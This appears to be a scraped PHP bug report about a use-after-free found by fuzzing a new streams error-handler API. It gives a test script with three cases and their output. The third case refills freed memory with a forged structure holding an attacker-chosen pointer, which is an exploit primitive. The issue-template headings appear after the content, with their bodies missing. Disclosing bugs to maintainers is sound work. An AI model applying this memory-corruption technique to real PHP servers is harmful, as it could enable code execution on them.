<?php
class InvalidEofStream
{
public $context;
public function stream_open($path, $mode, $options, &$openedPath): bool { return true; }
public function stream_eof() { return []; }
public function stream_stat(): array { return []; }
}
stream_wrapper_register('invalid-eof', InvalidEofStream::class);
$stream = null;
$context = stream_context_create([
'stream' => [
'error_mode' => StreamErrorMode::Silent,
'error_handler' => static function (array $errors) use (&$stream): void {
echo "handler: {$errors[0]->code->name}\n";
fclose($stream);
},
],
]);
$stream = fopen('invalid-eof://input', 'r', false, $context);
var_dump(stream_get_meta_data($stream));
echo "--- case 2 ---\n";
class InvalidEofAliasStream
{
public $context;
public function stream_open($path, $mode, $options, &$openedPath): bool { return true; }
public function stream_eof() { return []; }
public function stream_stat(): array { return []; }
}
stream_wrapper_register('invalid-eof-alias', InvalidEofAliasStream::class);
$stream2 = null;
$replacement = null;
$context2 = stream_context_create([
'stream' => [
'error_mode' => StreamErrorMode::Silent,
'error_handler' => static function (array $errors) use (&$stream2, &$replacement): void {
echo "handler: {$errors[0]->code->name}\n";
fclose($stream2);
$replacement = fopen('php://memory', 'w+');
},
],
]);
$stream2 = fopen('invalid-eof-alias://input', 'r', false, $context2);
var_export(stream_get_meta_data($stream2));
echo "\nreplacement_resource_is_stream=" . (get_resource_type($replacement) === 'stream' ? 'yes' : 'no') . "\n";
echo "--- case 3 ---\n";
class MissingEofControlledStream
{
public $context;
public function stream_open($path, $mode, $options, &$openedPath): bool { return true; }
public function stream_stat(): array { return []; }
}
stream_wrapper_register('missing-eof-controlled', MissingEofControlledStream::class);
$stream3 = null;
$replacement3 = null;
$context3 = stream_context_create([
'stream' => [
'error_mode' => StreamErrorMode::Silent,
'error_handler' => static function (array $errors) use (&$stream3, &$replacement3): void {
fclose($stream3);
$replacement3 = str_repeat("\0", 200);
$chosen = pack('P', 0x4141414141414140);
for ($i = 0; $i < 8; $i++) {
$replacement3[56 + $i] = $chosen[$i];
}
$stringTypeInfo = pack('V', 0x106);
for ($i = 0; $i < 4; $i++) {
$replacement3[64 + $i] = $stringTypeInfo[$i];
}
},
],
]);
$stream3 = fopen('missing-eof-controlled://input', 'r', false, $context3);
stream_get_meta_data($stream3);
echo "case 3 completed without crash\n";
handler: UserspaceInvalidReturn
array(10) {
["timed_out"]=>
bool(false)
["blocked"]=>
bool(true)
["eof"]=>
bool(true)
["wrapper_data"]=>
object(InvalidEofStream)#3 (1) {
["context"]=>
resource(5) of type (stream-context)
}
["wrapper_type"]=>
string(10) "user-space"
["stream_type"]=>
string(10) "user-space"
["mode"]=>
string(1) "r"
["unread_bytes"]=>
int(0)
["seekable"]=>
bool(true)
["uri"]=>
string(19) "invalid-eof://input"
}
--- case 2 ---
handler: UserspaceInvalidReturn
array (
'timed_out' => false,
'blocked' => true,
'eof' => true,
'wrapper_data' =>
\InvalidEofAliasStream::__set_state(array(
'context' => NULL,
)),
'wrapper_type' => 'user-space',
'stream_type' => 'user-space',
'mode' => 'r',
'unread_bytes' => 0,
'seekable' => true,
'uri' => 'invalid-eof-alias://input',
)
replacement_resource_is_stream=yes
--- case 3 ---
case 3 completed without crash
Description
Fuzzing on the new PHP 8.6 streams API, found by Ryan @ Calif.io.
The following code:
Resulted in this output:
But I expected this output instead:
For validation, I used the following patch, but I haven't thought trough this, so it's just a bug report. Not a PR.
Additional test cases
Expand
Expected (patched) output:
PHP Version
Operating System
No response